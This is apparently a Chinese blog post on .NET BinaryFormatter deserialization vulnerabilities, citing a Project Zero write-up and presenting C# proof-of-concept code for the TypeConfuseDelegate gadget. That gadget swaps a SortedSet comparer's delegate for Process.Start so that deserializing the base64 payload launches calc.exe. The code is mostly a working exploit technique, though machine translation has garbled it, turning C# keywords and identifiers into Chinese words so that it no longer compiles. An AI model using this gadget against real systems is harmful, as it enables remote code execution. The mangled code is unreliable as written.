net反序列化漏洞之BinaryFormatter

  https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html

  

. net反序列化导致远端控制设备的样例,有两点限制:

  
      <李> BinaryFormatter:反序列化反序列化的内容用户可控李   <李>。李净SDK大于等于4.5   
  
 <代码>使用系统;
  使用System.Collections.Generic;
  使用System.Diagnostics;
  使用先;
  使用来;
  使用System.Reflection;
  使用System.Runtime.Serialization.Formatters;
  使用System.Runtime.Serialization.Formatters.Binary;
  使用text;
  使用System.Threading.Tasks;
  
  名称空间串并转换器
  {
  类项目
  {
  公共静态孔隙getCalcPayload ()
  {//创建一个简单的多播委托
  委托d=new Comparison (String.Compare);
  Comparisond2=(Comparisoncomp=Comparer共创(d2);
  SortedSet设置=new SortedSet (comp);
  
  set.Add(“钙”);
  set.Add (“adummy”);
  
  TypeConfuseDelegate (d2);
  
  新BinaryFormatter BinaryFormatter格式化程序={
  AssemblyFormat=FormatterAssemblyStyle.Simple
  };
  
  使用(MemoryStream流=new MemoryStream ())
  {
  格式化程序。序列化(流,设置);
  int位置=(int) stream.Position;
  byte[]数组=stream.GetBuffer ();
  
  Array.Resize (ref数组,位置);
  
  字符串有效载荷=Convert.ToBase64String(数组);
  Console.WriteLine(“钙。exe载荷:“+有效载荷);//FileSystemUtils。Pullfile(载荷、“payload_calc.dat”);
  
  流。位置=0;
  formatter.Deserialize(流);
  }
  }
  
  静态孔隙TypeConfuseDelegate (Comparison排版)
  {
  FieldInfo fi=typeof (MulticastDelegate) .GetField (“_invocationList”,
  System.Reflection.BindingFlags。非公开| System.Reflection.BindingFlags.Instance);
  
  对象[]invoke_list=comp.GetInvocationList ();//修改调用列表添加过程::开始(字符串,字符串)
  invoke_list [1]=new Func<字符串,字符串,Process> (Process.Start);
  fi。SetValue (comp, invoke_list);
  
  }
  
  静态void Main (string [] args)
  {
  getCalcPayload ();
  }
  }
  
  }
   
  

 . net反序列化漏洞之BinaryFormatter

net反序列化漏洞之BinaryFormatter